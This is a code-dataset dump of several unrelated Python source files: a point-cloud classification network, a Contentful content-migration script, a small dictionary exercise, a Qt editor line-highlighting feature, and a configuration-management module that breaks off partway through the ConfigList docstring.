GenericModel\n\npointnet_classification_config = {\n # input dimension\n 'input_dimension': 3,\n # number of dynamic edge convs\n 'num_embedding': 2,\n # edge conv layer values\n 'embedding_mlp_layers': [\n [64, 64],\n [64, 64]\n ],\n 'number_of_neighbors': 20,\n 'aggregation_operators': [\n 'max', 'max'\n ],\n # linear layer\n 'linear_output': 128,\n 'mlp_output_layers': [128, 256, 32],\n 'classification_layers': [32, 64, 32, 10],\n 'augmentations': [\n T.RandomJitter(0.03), \n T.RandomFlip(1), \n T.RandomShear(0.2)\n ],\n # number of augmentations per batch\n 'number_of_augmentations': 2\n}\n\nclass PointNetClassification(GenericModel):\n \"\"\"\n \"\"\"\n def __init__(self,\n name: str='pointnet_classification',\n cfg: dict=pointnet_classification_config\n ):\n super(PointNetClassification, self).__init__(name, cfg)\n self.cfg = cfg\n\n # construct the model\n self.forward_views = {}\n self.forward_view_map = {}\n # construct the model\n self.construct_model()\n # register hooks\n self.register_forward_hooks()\n\n def construct_model(self):\n \"\"\"\n \n \"\"\"\n \"\"\"\n The current methodology is to create an ordered\n dictionary and fill it with individual modules.\n \"\"\"\n \n self.augmentation = T.Compose(self.cfg['augmentations'])\n self.logger.info(f\"Attempting to build {self.name} architecture using cfg: {self.cfg}\")\n _embedding_dict = OrderedDict()\n _reduction_dict = OrderedDict()\n _classification_dict = OrderedDict()\n\n self.input_dimension = self.cfg['input_dimension']\n _input_dimension = self.cfg['input_dimension']\n _num_embedding_outputs = 0\n # Feature extraction\n # an example would be\n for ii in range(self.cfg['num_embedding']):\n _embedding_dict[f'embedding_{ii}'] = DynamicEdgeConv(\n MLP([2 * _input_dimension] + self.cfg['embedding_mlp_layers'][ii]), \n self.cfg['number_of_neighbors'],\n self.cfg['aggregation_operators'][ii]\n )\n _input_dimension = self.cfg['embedding_mlp_layers'][ii][-1]\n _num_embedding_outputs += _input_dimension\n \n # add linear layer Encoder head\n _reduction_dict[f'linear_layer'] = Linear(\n _num_embedding_outputs, \n self.cfg['linear_output']\n )\n # add output mlp Projection head (See explanation in SimCLRv2)\n _reduction_dict[f'mlp_output'] = MLP(\n self.cfg['mlp_output_layers']\n )\n\n _classification_dict[f'classification_output'] = MLP(\n self.cfg['classification_layers']\n )\n \n # create the dictionaries\n self.embedding_dict = nn.ModuleDict(_embedding_dict)\n self.reduction_dict = nn.ModuleDict(_reduction_dict)\n self.classification_dict = nn.ModuleDict(_classification_dict)\n\n # record the info\n self.logger.info(\n f\"Constructed PointNetClassification with dictionaries:\"\n + f\"\\n{self.embedding_dict}\\n{self.reduction_dict}\"\n + f\"\\n{self.reduction_dict}\\n{self.classification_dict}.\"\n )\n\n \n def forward(self,\n x\n ):\n \"\"\"\n Iterate over the model dictionary\n \"\"\"\n x = x.to(self.device)\n # if self.training:\n # Get augmentations of the batch\n if self.training:\n embeddings, pools, reductions, classifications = [], [], [], []\n for ii in range(self.cfg['number_of_augmentations']):\n augmentations = self.augmentation(x)\n pos, batch = augmentations.pos, augmentations.batch\n for ii, layer in enumerate(self.embedding_dict.keys()):\n pos = self.embedding_dict[layer](pos, batch)\n if ii == 0:\n linear_input = pos\n else:\n linear_input = torch.cat([linear_input, pos], dim=1)\n\n linear_output = self.reduction_dict['linear_layer'](linear_input)\n linear_pool = global_max_pool(linear_output, batch)\n linear_reduction = self.reduction_dict['mlp_output'](linear_pool)\n\n classification = self.classification_dict['classification_output'](linear_reduction)\n\n embeddings.append(linear_input)\n pools.append(linear_pool)\n reductions.append(linear_reduction)\n classifications.append(classification)\n\n embeddings = torch.cat(embeddings)\n reductions = torch.cat(reductions)\n pools = torch.cat(pools)\n classifications = torch.cat(classifications)\n else:\n pos, batch = x.pos, x.batch\n for ii, layer in enumerate(self.embedding_dict.keys()):\n pos = self.embedding_dict[layer](pos, batch)\n if ii == 0:\n linear_input = pos\n else:\n linear_input = torch.cat([linear_input, pos], dim=1)\n\n embeddings = self.reduction_dict['linear_layer'](linear_input)\n pools = global_max_pool(embeddings, batch)\n reductions = self.reduction_dict['mlp_output'](pools)\n\n classifications = self.classification_dict['classification_output'](reductions)\n\n return {\n 'embeddings': embeddings,\n 'pools': pools, \n 'reductions': reductions, \n 'classifications': classifications\n }","repo_name":"Neutron-Calibration-in-DUNE/Blip","sub_path":"blip/models/arxiv/pointnet_classification.py","file_name":"pointnet_classification.py","file_ext":"py","file_size_in_byte":6062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16802847116","text":"import json\nimport datetime\nfrom collections import namedtuple, Counter\nfrom pprint import pprint\nfrom shared.helpers import get_latest_file\nfrom shared.constants import MIGRATION_TEST_BASE_URL, OLD_BASE_URL\nimport csv\nimport os\nfrom functools import reduce\n\nwith open(get_latest_file(\"./output\", \"contentful-export\")) as f:\n root = json.load(f)\n\nContent = namedtuple(\n \"Content\", [\"contentfulID\", \"contentType\", \"slug\", \"title\", \"sections\"]\n)\n\n\ndef fetch_data():\n all_content = {}\n for x in root[\"entries\"]:\n contentful_id = x[\"sys\"][\"id\"]\n content_type = x[\"sys\"][\"contentType\"][\"sys\"][\"id\"]\n slug = x[\"fields\"].get(\"slug\")\n title = x[\"fields\"].get(\"title\")\n sections = x[\"fields\"].get(\"sections\")\n\n if title:\n title = title[\"en-GB\"]\n\n if slug:\n slug = slug[\"en-GB\"]\n\n if sections:\n sections = [x[\"sys\"][\"id\"] for x in sections[\"en-GB\"]]\n\n all_content[contentful_id] = Content(\n contentfulID=contentful_id,\n contentType=content_type,\n slug=slug,\n title=title,\n sections=sections,\n )\n\n return all_content\n\n\nall_content = fetch_data()\n\ninfo_pages = []\n\nall_list = []\nwith open(\"./output/fathom_data.json\") as f:\n fathom_data = json.load(f)\n for sublist in fathom_data:\n all_list.extend(sublist)\n\nfor _, info_page in all_content.items():\n output = {}\n if not ((info_page.contentType == \"article\") and info_page.sections):\n continue\n\n output[\"overview_title\"] = info_page.title\n output[\"url\"] = f\"{OLD_BASE_URL}/{info_page.slug}\"\n page_titles = []\n for section in info_page.sections:\n section = all_content.get(section)\n if section:\n page_titles.append(section.title)\n\n output[\"page_titles\"] = page_titles\n\n output[\"page_views\"] = sum(\n int(d[\"views\"]) for d in all_list if d[\"label\"].startswith(f\"/{info_page.slug}\")\n )\n\n info_pages.append(output)\n\nwith open(os.path.join(\"./output\", \"overviews.json\"), \"w\") as f:\n json.dump(info_pages, f)\n\nwith open(os.path.join(\"./output\", \"overviews.csv\"), \"w\") as f:\n w = csv.writer(f)\n w.writerow([\"Total views\", \"url\", \"Guide title\", \"First section title\"])\n for page in info_pages:\n w.writerow(\n [\n page[\"page_views\"],\n page[\"url\"],\n page[\"overview_title\"],\n *page[\"page_titles\"],\n ]\n )\n","repo_name":"essexcountycouncil/essexgovuk-migration-helpers","sub_path":"src/getcontent_infopages.py","file_name":"getcontent_infopages.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15344904902","text":"#acronyms = {}\r\n\r\n#acronyms['LOL'] = 'laugh out load'\r\n#acronyms['IDK'] = \"I don't know\"\r\n#acronyms['TBH'] = 'to be honest'\r\n#print(acronyms['TBH'])\r\n\r\nacronyms = {'LOL': 'laugh out loud',\r\n 'IDK': \"I dont know\",\r\n 'TBH': 'to be honest'}\r\nsentence = 'IDK' + ' What hapened ' + 'TBH'\r\ntranslation = acronyms.get('IDK') + ' what happened ' + acronyms.get('TBH')\r\n\r\nprint('sentence:', sentence)\r\nprint('translation:', translation)","repo_name":"sushma-crypt/python_practice","sub_path":"dict.py","file_name":"dict.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24017559057","text":"from qtpy.QtGui import QBrush, QColor\nfrom qtpy.QtCore import Qt\nfrom typing import Any\nfrom dataclasses import dataclass\nfrom ..core import Feature, TextDecoration, drift_color\nfrom ..internal import chelly_property\n\n\nclass CaretLineHighLighter(Feature):\n @dataclass(frozen=True)\n class Defaults:\n LINE_TEXT_COLOR = False\n\n class Properties(Feature._Properties):\n def __init__(self, feature: Feature) -> None:\n super().__init__(feature)\n self.__line_text_color = CaretLineHighLighter.Defaults.LINE_TEXT_COLOR\n\n self._background = QColor(Qt.GlobalColor.darkBlue)\n self._background.setAlpha(70)\n self._foreground = QColor(Qt.GlobalColor.white)\n\n @chelly_property\n def foreground(self) -> QColor:\n return self._foreground\n\n @foreground.setter\n def foreground(self, new_color: QColor) -> None:\n self._foreground = new_color\n\n @chelly_property\n def background(self) -> QColor:\n return self._background\n\n @background.setter\n def background(self, new_color: QColor) -> None:\n self._background = new_color\n\n @chelly_property\n def line_text_color(self) -> bool:\n return self.__line_text_color\n\n @line_text_color.setter\n def line_text_color(self, value: bool) -> None:\n self.__line_text_color = value\n\n @property\n def properties(self) -> Properties:\n return self.__properties\n\n @properties.setter\n def properties(self, new_properties: Properties) -> Properties:\n if new_properties is CaretLineHighLighter.Properties:\n self.__properties = new_properties(self)\n\n elif isinstance(new_properties, CaretLineHighLighter.Properties):\n self.__properties = new_properties\n\n def __init__(self, editor):\n super().__init__(editor)\n self.__properties = CaretLineHighLighter.Properties(self)\n\n self._decoration = None\n self.editor.cursorPositionChanged.connect(self.refresh)\n self.editor.on_text_setted.connect(self.refresh)\n self.refresh()\n\n def _clear_current_decoration(self) -> None:\n if self._decoration is not None:\n self.editor.decorations.remove(self._decoration)\n self._decoration = None\n\n def refresh(self) -> None:\n self._clear_current_decoration()\n\n if not self.editor.properties.view_only:\n brush = QBrush(self.properties.background)\n self._decoration = TextDecoration(self.editor.textCursor())\n self._decoration.set_background(brush)\n self._decoration.set_full_width()\n\n if self.properties.line_text_color:\n self._decoration.set_foreground(self.properties.foreground)\n\n self.editor.decorations.append(self._decoration)\n\n\n__all__ = [\"CaretLineHighLighter\"]\n","repo_name":"IgdaliasCabamba/chelly","sub_path":"chelly/features/line_highlighter.py","file_name":"line_highlighter.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"72396148673","text":"import re\nimport sys\nfrom textwrap import wrap\nimport logging\nimport pickle\n\nimport six\nfrom six.moves import xrange\n\ndef _dump(*args, **kwds):\n try:\n from yaml import dump\n except ImportError:\n #dump = lambda x,**y: str(x)\n # YAML uses lowercase True/False\n def dump(x, **args):\n if type(x) is bool:\n return str(x).lower()\n return str(x)\n assert '_dump' in globals()\n globals()['_dump'] = dump\n return dump(*args, **kwds)\n\ntry:\n import argparse\n argparse_is_available = True\nexcept ImportError:\n argparse_is_available = False\n\ntry:\n import builtins as _builtins\nexcept ImportError:\n import __builtin__ as _builtins\n\n__all__ = ('ConfigDict', 'ConfigBlock', 'ConfigList', 'ConfigValue')\n\nlogger = logging.getLogger('pyutilib.misc.config')\n\n\ndef _munge_name(name, space_to_dash=True):\n if space_to_dash:\n name = re.sub(r'\\s', '-', name)\n name = re.sub(r'_', '-', name)\n return re.sub(r'[^a-zA-Z0-9-_]', '_', name)\n\n\n_leadingSpace = re.compile('^([ \\n\\t]*)')\n\ndef _strip_indentation(doc):\n if not doc:\n return doc\n lines = doc.splitlines()\n while lines and not lines[0].strip():\n lines.pop(0)\n if len(lines) == 1:\n return doc.lstrip()\n minIndent = min(len(_leadingSpace.match(l).group(0)) for l in lines[1:])\n if len(_leadingSpace.match(lines[0]).group(0)) <= minIndent:\n lines[0] = lines[0].strip()\n else:\n lines[0] = lines[0][minIndent:].rstrip()\n for i, l in enumerate(lines[1:]):\n lines[i + 1] = l[minIndent:].rstrip()\n return '\\n'.join(lines)\n\n\ndef _value2string(prefix, value, obj):\n _str = prefix\n if value is not None:\n try:\n _data = value._data if value is obj else value\n if getattr(_builtins, _data.__class__.__name__, None\n ) is not None:\n _str += _dump(_data, default_flow_style=True).rstrip()\n if _str.endswith(\"...\"):\n _str = _str[:-3].rstrip()\n else:\n _str += str(_data)\n except:\n _str += str(type(_data))\n return _str.rstrip()\n\ndef _value2yaml(prefix, value, obj):\n _str = prefix\n if value is not None:\n try:\n _data = value._data if value is obj else value\n _str += _dump(_data, default_flow_style=True).rstrip()\n if _str.endswith(\"...\"):\n _str = _str[:-3].rstrip()\n except:\n _str += str(type(_data))\n return _str.rstrip()\n\n\nclass _UnpickleableDomain(object):\n def __init__(self, obj):\n self._type = type(obj).__name__\n self._name = obj.name(True)\n\n def __call__(self, arg):\n logging.error(\n\"\"\"%s %s was pickled with an unpicklable domain.\n The domain was stripped and lost during the pickle process. Setting\n new values on the restored object cannot be mapped into the correct\n domain.\n\"\"\" % ( self._type, self._name))\n return arg\n\ndef _picklable(field,obj):\n ftype = type(field)\n if ftype in _picklable.known:\n return field if _picklable.known[ftype] else _UnpickleableDomain(obj)\n try:\n pickle.dumps(field)\n _picklable.known[ftype] = True\n return field\n except:\n # Contrary to the documentation, Python is not at all consistent\n # with the exception that is raised when pickling an object\n # fails:\n #\n # Python 2.6 - 3.4: pickle.PicklingError\n # Python 3.5 - 3.6: AttributeError\n # Python 2.6 - 2.7 (cPickle): TypeError\n #\n # What we are concerned about is masking things like recursion\n # errors. Unfortunately, Python is not quite consistent there,\n # either: exceeding recursion depth raises a RuntimeError\n # through 3.4, then switches to a RecursionError (a derivative\n # of RuntimeError).\n if isinstance(sys.exc_info()[0], RuntimeError):\n raise\n _picklable.known[ftype] = False\n return _UnpickleableDomain(obj)\n\n_picklable.known = {}\n\nclass ConfigBase(object):\n __slots__ = ('_parent', '_name', '_userSet', '_userAccessed', '_data',\n '_default', '_domain', '_description', '_doc', '_visibility',\n '_argparse')\n\n # This just needs to be any singleton-like object; we use it so that\n # we can tell if an argument is provided (and we can't use None as\n # None is a valid user-specified argument). Making it a class helps\n # when Config objects are pickled.\n class NoArgument(object): pass\n\n def __init__(self,\n default=None,\n domain=None,\n description=None,\n doc=None,\n visibility=0):\n self._parent = None\n self._name = None\n self._userSet = False\n self._userAccessed = False\n\n self._data = None\n self._default = default\n self._domain = domain\n self._description = _strip_indentation(description)\n self._doc = _strip_indentation(doc)\n self._visibility = visibility\n self._argparse = None\n\n def __getstate__(self):\n # Nominally, __getstate__() should return:\n #\n # state = super(Class, self).__getstate__()\n # for i in Class.__slots__:\n # state[i] = getattr(self,i)\n # return state\n #\n # Hoewever, in this case, the (nominal) parent class is\n # 'object', and object does not implement __getstate__. Since\n # super() doesn't actually return a class, we are going to check\n # the *derived class*'s MRO and see if this is the second to\n # last class (the last is always 'object'). If it is, then we\n # can allocate the state dictionary. If it is not, then we call\n # the super-class's __getstate__ (since that class is NOT\n # 'object').\n if self.__class__.__mro__[-2] is ConfigBase:\n state = {}\n else:\n state = super(ConfigBase, self).__getstate__()\n state.update((key, getattr(self, key)) for key in ConfigBase.__slots__)\n state['_domain'] = _picklable(state['_domain'], self)\n state['_parent'] = None\n return state\n\n def __setstate__(self, state):\n for key, val in six.iteritems(state):\n # Note: per the Python data model docs, we explicitly\n # set the attribute using object.__setattr__() instead\n # of setting self.__dict__[key] = val.\n object.__setattr__(self, key, val)\n\n def __call__(self, value=NoArgument, default=NoArgument, domain=NoArgument,\n description=NoArgument, doc=NoArgument, visibility=NoArgument,\n implicit=NoArgument, implicit_domain=NoArgument,\n preserve_implicit=False):\n # We will pass through overriding arguments to the constructor.\n # This way if the constructor does special processing of any of\n # the arguments (like implicit_domain), we don't have to repeat\n # that code here. Unfortunately, it means we need to do a bit\n # of logic to be sure we only pass through appropriate\n # arguments.\n kwds = {}\n kwds['description'] = ( self._description\n if description is ConfigBase.NoArgument else\n description )\n kwds['doc'] = ( self._doc\n if doc is ConfigBase.NoArgument else\n doc )\n kwds['visibility'] = ( self._visibility\n if visibility is ConfigBase.NoArgument else\n visibility )\n if isinstance(self, ConfigDict):\n kwds['implicit'] = ( self._implicit_declaration\n if implicit is ConfigBase.NoArgument else\n implicit )\n kwds['implicit_domain'] = (\n self._implicit_domain\n if implicit_domain is ConfigBase.NoArgument else\n implicit_domain )\n if domain is not ConfigBase.NoArgument:\n logger.warn(\"domain ignored by __call__(): \"\n \"class is a ConfigDict\" % (type(self),))\n if default is not ConfigBase.NoArgument:\n logger.warn(\"default ignored by __call__(): \"\n \"class is a ConfigDict\" % (type(self),))\n else:\n kwds['default'] = ( self.value()\n if default is ConfigBase.NoArgument else\n default )\n kwds['domain'] = ( self._domain\n if domain is ConfigBase.NoArgument else\n domain )\n if implicit is not ConfigBase.NoArgument:\n logger.warn(\"implicit ignored by __call__(): \"\n \"class %s is not a ConfigDict\" % (type(self),))\n if implicit_domain is not ConfigBase.NoArgument:\n logger.warn(\"implicit_domain ignored by __call__(): \"\n \"class %s is not a ConfigDict\" % (type(self),))\n\n # Copy over any other object-specific information (mostly Block\n # definitions)\n ans = self.__class__(**kwds)\n if isinstance(self, ConfigDict):\n for k in self._decl_order:\n if preserve_implicit or k in self._declared:\n v = self._data[k]\n ans._data[k] = _tmp = v(preserve_implicit=preserve_implicit)\n ans._decl_order.append(k)\n if k in self._declared:\n ans._declared.add(k)\n _tmp._parent = ans\n _tmp._name = v._name\n else:\n ans.reset()\n # ... and set the value, if appropriate\n if value is not ConfigBase.NoArgument:\n ans.set_value(value)\n return ans\n\n def name(self, fully_qualified=False):\n # Special case for the top-level block\n if self._name is None:\n return \"\"\n elif fully_qualified and self._parent is not None:\n pName = self._parent.name(fully_qualified)\n # Special case for ConfigList indexing and the top-level entries\n if self._name.startswith('[') or not pName:\n return pName + self._name\n else:\n return pName + '.' + self._name\n else:\n return self._name\n\n def set_default_value(self, default):\n self._default = default\n\n def set_domain(self, domain):\n self._domain = domain\n self.set_value(self.value(accessValue=False))\n\n def _cast(self, value):\n if value is None:\n return value\n if self._domain is not None:\n try:\n if value is not ConfigBase.NoArgument:\n return self._domain(value)\n else:\n return self._domain()\n except:\n err = sys.exc_info()[1]\n if hasattr(self._domain, '__name__'):\n _dom = self._domain.__name__\n else:\n _dom = type(self._domain)\n raise ValueError(\"invalid value for configuration '%s':\\n\"\n \"\\tFailed casting %s\\n\\tto %s\\n\\tError: %s\" %\n (self.name(True), value, _dom, err))\n else:\n return value\n\n def reset(self):\n #\n # This is a dangerous construct, the failure in the first try block\n # can mask a real problem.\n #\n try:\n self.set_value(self._default)\n except:\n if hasattr(self._default, '__call__'):\n self.set_value(self._default())\n else:\n raise\n self._userAccessed = False\n self._userSet = False\n\n def declare_as_argument(self, *args, **kwds):\n \"\"\"Map this Config item to an argparse argument.\n\n Valid arguments include all valid arguments to argparse's\n ArgumentParser.add_argument() with the exception of 'default'.\n In addition, you may provide a group keyword argument can be\n used to either pass in a pre-defined option group or subparser,\n or else pass in the title of a group, subparser, or (subparser,\n group).\n\n \"\"\"\n\n if 'default' in kwds:\n raise TypeError(\n \"You cannot specify an argparse default value with \"\n \"ConfigBase.declare_as_argument(). The default value is \"\n \"supplied automatically from the Config definition.\")\n\n if 'action' not in kwds and self._domain is bool:\n if not self._default:\n kwds['action'] = 'store_true'\n else:\n kwds['action'] = 'store_false'\n if not args:\n args = ('--disable-' + _munge_name(self.name()),)\n if 'help' not in kwds:\n kwds['help'] = \"[DON'T] \" + self._description\n if 'help' not in kwds:\n kwds['help'] = self._description\n if not args:\n args = ('--' + _munge_name(self.name()),)\n if self._argparse:\n self._argparse = self._argparse + ((args, kwds),)\n else:\n self._argparse = ((args, kwds),)\n return self\n\n def initialize_argparse(self, parser):\n\n def _get_subparser_or_group(_parser, name):\n # Note: strings also have a 'title()' method. We are\n # looking for things that look like argparse\n # groups/subparsers, so just checking for the attribute\n # is insufficient: it needs to be a string attribute as\n # well\n if isinstance(name, argparse._ActionsContainer):\n #hasattr(_group, 'title') and \\\n # isinstance(_group.title, six.string_types):\n return 2, name\n\n if not isinstance(name, six.string_types):\n raise RuntimeError(\n 'Unknown datatype (%s) for argparse group on '\n 'configuration definition %s' %\n (type(name).__name__, obj.name(True)))\n\n try:\n for _grp in _parser._subparsers._group_actions:\n if name in _grp._name_parser_map:\n return 1, _grp._name_parser_map[name]\n except AttributeError:\n pass\n\n for _grp in _parser._action_groups:\n if _grp.title == name:\n return 0, _grp\n return 0, _parser.add_argument_group(title=name)\n\n def _process_argparse_def(_args, _kwds):\n _parser = parser\n # shallow copy the dict so we can remove the group flag and\n # add things like documentation, etc.\n _kwds = dict(_kwds)\n if 'group' in _kwds:\n _group = _kwds.pop('group')\n if isinstance(_group, tuple):\n for _idx, _grp in enumerate(_group):\n _issub, _parser = _get_subparser_or_group(_parser, _grp)\n if not _issub and _idx < len(_group) - 1:\n raise RuntimeError(\n \"Could not find argparse subparser '%s' for \"\n \"Config item %s\" % (_grp, obj.name(True)))\n else:\n _issub, _parser = _get_subparser_or_group(_parser, _group)\n if 'dest' not in _kwds:\n _kwds['dest'] = 'CONFIGBLOCK.' + obj.name(True)\n if 'metavar' not in _kwds and \\\n _kwds.get('action','') not in ('store_true','store_false'):\n if obj._domain is not None and \\\n obj._domain.__class__ is type:\n _kwds['metavar'] = obj._domain.__name__.upper()\n else:\n _kwds['metavar'] = _munge_name(self.name().upper(),\n False)\n _parser.add_argument(*_args, default=argparse.SUPPRESS, **_kwds)\n\n assert (argparse_is_available)\n for level, prefix, value, obj in self._data_collector(None, \"\"):\n if obj._argparse is None:\n continue\n for _args, _kwds in obj._argparse:\n _process_argparse_def(_args, _kwds)\n\n def import_argparse(self, parsed_args):\n for level, prefix, value, obj in self._data_collector(None, \"\"):\n if obj._argparse is None:\n continue\n for _args, _kwds in obj._argparse:\n if 'dest' in _kwds:\n _dest = _kwds['dest']\n if _dest in parsed_args:\n obj.set_value(parsed_args.__dict__[_dest])\n else:\n _dest = 'CONFIGBLOCK.' + obj.name(True)\n if _dest in parsed_args:\n obj.set_value(parsed_args.__dict__[_dest])\n del parsed_args.__dict__[_dest]\n return parsed_args\n\n def display(self, content_filter=None, indent_spacing=2, ostream=None,\n visibility=None):\n if content_filter not in ConfigDict.content_filters:\n raise ValueError(\"unknown content filter '%s'; valid values are %s\"\n % (content_filter, ConfigDict.content_filters))\n\n _blocks = []\n if ostream is None:\n ostream=sys.stdout\n\n for lvl, prefix, value, obj in self._data_collector(0, \"\", visibility):\n if content_filter == 'userdata' and not obj._userSet:\n continue\n\n _str = _value2string(prefix, value, obj)\n _blocks[lvl:] = [' ' * indent_spacing * lvl + _str + \"\\n\",]\n\n for i, v in enumerate(_blocks):\n if v is not None:\n ostream.write(v)\n _blocks[i] = None\n\n def generate_yaml_template(self, indent_spacing=2, width=78, visibility=0):\n minDocWidth = 20\n comment = \" # \"\n data = list(self._data_collector(0, \"\", visibility))\n level_info = {}\n for lvl, pre, val, obj in data:\n _str = _value2yaml(pre, val, obj)\n if lvl not in level_info:\n level_info[lvl] = {'data': [], 'off': 0, 'line': 0, 'over': 0}\n level_info[lvl]['data'].append(\n (_str.find(':') + 2, len(_str), len(obj._description or \"\")))\n for lvl in sorted(level_info):\n indent = lvl * indent_spacing\n _ok = width - indent - len(comment) - minDocWidth\n offset = \\\n max( val if val < _ok else key\n for key,val,doc in level_info[lvl]['data'] )\n offset += indent + len(comment)\n over = sum(1 for key, val, doc in level_info[lvl]['data']\n if doc + offset > width)\n if len(level_info[lvl]['data']) - over > 0:\n line = max(offset + doc\n for key, val, doc in level_info[lvl]['data']\n if offset + doc <= width)\n else:\n line = width\n level_info[lvl]['off'] = offset\n level_info[lvl]['line'] = line\n level_info[lvl]['over'] = over\n maxLvl = 0\n maxDoc = 0\n pad = 0\n for lvl in sorted(level_info):\n _pad = level_info[lvl]['off']\n _doc = level_info[lvl]['line'] - _pad\n if _pad > pad:\n if maxDoc + _pad <= width:\n pad = _pad\n else:\n break\n if _doc + pad > width:\n break\n if _doc > maxDoc:\n maxDoc = _doc\n maxLvl = lvl\n os = six.StringIO()\n if self._description:\n os.write(comment.lstrip() + self._description + \"\\n\")\n for lvl, pre, val, obj in data:\n _str = _value2yaml(pre, val, obj)\n if not obj._description:\n os.write(' ' * indent_spacing * lvl + _str + \"\\n\")\n continue\n if lvl <= maxLvl:\n field = pad - len(comment)\n else:\n field = level_info[lvl]['off'] - len(comment)\n os.write(' ' * indent_spacing * lvl)\n if width - len(_str) - minDocWidth >= 0:\n os.write('%%-%ds' % (field - indent_spacing * lvl) % _str)\n else:\n os.write(_str + '\\n' + ' ' * field)\n os.write(comment)\n txtArea = max(width - field - len(comment), minDocWidth)\n os.write((\"\\n\" + ' ' * field + comment).join(\n wrap(\n obj._description, txtArea, subsequent_indent=' ')))\n os.write('\\n')\n return os.getvalue()\n\n def generate_documentation\\\n ( self,\n block_start= \"\\\\begin{description}[topsep=0pt,parsep=0.5em,itemsep=-0.4em]\\n\",\n block_end= \"\\\\end{description}\\n\",\n item_start= \"\\\\item[{%s}]\\\\hfill\\n\",\n item_body= \"\\\\\\\\%s\",\n item_end= \"\",\n indent_spacing=2,\n width=78,\n visibility=0\n ):\n os = six.StringIO()\n level = []\n lastObj = self\n indent = ''\n for lvl, pre, val, obj in self._data_collector(1, '', visibility, True):\n #print len(level), lvl, val, obj\n if len(level) < lvl:\n while len(level) < lvl - 1:\n level.append(None)\n level.append(lastObj)\n if '%s' in block_start:\n os.write(indent + block_start % lastObj.name())\n elif block_start:\n os.write(indent + block_start)\n indent += ' ' * indent_spacing\n while len(level) > lvl:\n _last = level.pop()\n if _last is not None:\n indent = indent[:-1 * indent_spacing]\n if '%s' in block_end:\n os.write(indent + block_end % _last.name())\n elif block_end:\n os.write(indent + block_end)\n\n lastObj = obj\n if '%s' in item_start:\n os.write(indent + item_start % obj.name())\n elif item_start:\n os.write(indent + item_start)\n _doc = obj._doc or obj._description or \"\"\n if _doc:\n _wrapLines = '\\n ' not in _doc\n if '%s' in item_body:\n _doc = item_body % (_doc,)\n elif _doc:\n _doc = item_body\n if _wrapLines:\n doc_lines = wrap(\n _doc,\n width,\n initial_indent=indent + ' ' * indent_spacing,\n subsequent_indent=indent + ' ' * indent_spacing)\n else:\n doc_lines = (_doc,)\n # Write things out\n os.writelines('\\n'.join(doc_lines))\n if not doc_lines[-1].endswith(\"\\n\"):\n os.write('\\n')\n if '%s' in item_end:\n os.write(indent + item_end % obj.name())\n elif item_end:\n os.write(indent + item_end)\n while level:\n _last = level.pop()\n if _last is not None:\n indent = indent[:-1 * indent_spacing]\n if '%s' in block_end:\n os.write(indent + block_end % _last.name())\n else:\n os.write(indent + block_end)\n return os.getvalue()\n\n def user_values(self):\n if self._userSet:\n yield self\n for level, prefix, value, obj in self._data_collector(0, \"\"):\n if obj._userSet:\n yield obj\n\n def unused_user_values(self):\n if self._userSet and not self._userAccessed:\n yield self\n for level, prefix, value, obj in self._data_collector(0, \"\"):\n if obj._userSet and not obj._userAccessed:\n yield obj\n\n\nclass ConfigValue(ConfigBase):\n \"\"\"Store and manipulate a single configuration value.\n\n Parameters\n ----------\n default: optional\n The default value that this ConfigValue will take if no value is\n provided.\n\n domain: callable, optional\n The domain can be any callable that accepts a candidate value\n and returns the value converted to the desired type, optionally\n performing any data validation. The result will be stored into\n the ConfigValue. Examples include type constructors like `int`\n or `float`. More complex domain examples include callable\n objects; for example, the :py:class:`In` class that ensures that\n the value falls into an acceptable set or even a complete\n :py:class:`ConfigDict` instance.\n\n description: str, optional\n The short description of this value\n\n doc: str, optional\n The long documentation string for this value\n\n visibility: int, optional\n The visibility of this ConfigValue when generating templates and\n documentation. Visibility supports specification of \"advanced\"\n or \"developer\" options. ConfigValues with visibility=0 (the\n default) will always be printed / included. ConfigValues\n with higher visibility values will only be included when the\n generation method specifies a visibility greater than or equal\n to the visibility of this object.\n\n \"\"\"\n\n def __init__(self, *args, **kwds):\n ConfigBase.__init__(self, *args, **kwds)\n self.reset()\n\n def value(self, accessValue=True):\n if accessValue:\n self._userAccessed = True\n return self._data\n\n def set_value(self, value):\n self._data = self._cast(value)\n self._userSet = True\n\n def _data_collector(self, level, prefix, visibility=None, docMode=False):\n if visibility is not None and visibility < self._visibility:\n return\n yield (level, prefix, self, self)\n\n\nclass ImmutableConfigValue(ConfigValue):\n def set_value(self, value):\n if self._cast(value) != self._data:\n raise RuntimeError(str(self) + ' is currently immutable')\n super(ImmutableConfigValue, self).set_value(value)\n\n def reset(self):\n try:\n super(ImmutableConfigValue, self).set_value(self._default)\n except:\n if hasattr(self._default, '__call__'):\n super(ImmutableConfigValue, self).set_value(self._default())\n else:\n raise\n self._userAccessed = False\n self._userSet = False\n\n\nclass MarkImmutable(object):\n \"\"\"\n Mark instances of ConfigValue as immutable.\n\n Parameters\n ----------\n config_value: ConfigValue\n The ConfigValue instances that should be marked immutable. \n Note that multiple instances of ConfigValue can be passed.\n\n Examples\n --------\n >>> config = ConfigBlock()\n >>> config.declare('a', ConfigValue(default=1, domain=int))\n >>> config.declare('b', ConfigValue(default=1, domain=int))\n >>> locker = MarkImmutable(config.get('a'), config.get('b'))\n \n Now, config.a and config.b cannot be changed. To make them mutable again, \n\n >>> locker.release_lock()\n \"\"\"\n def __init__(self, *args):\n self._locked = list()\n try:\n for arg in args:\n if type(arg) is not ConfigValue:\n raise ValueError('Only ConfigValue instances can be marked immutable.')\n arg.__class__ = ImmutableConfigValue\n self._locked.append(arg)\n except:\n self.release_lock()\n raise\n\n def release_lock(self):\n for arg in self._locked:\n arg.__class__ = ConfigValue\n self._locked = list()\n\n\nclass ConfigList(ConfigBase):\n \"\"\"Store and manipulate a list of configuration values.\n\n Parameters\n ----------\n default: optional\n The default value that this ConfigList will take if no value is\n provided. If default is a list or ConfigList, then each member\n is cast to the ConfigList's domain to build the default value,\n otherwise the default is cast to the domain and forms a default\n list with a single element.\n\n domain: callable, optional\n The domain can be any callable that accepts a candidate 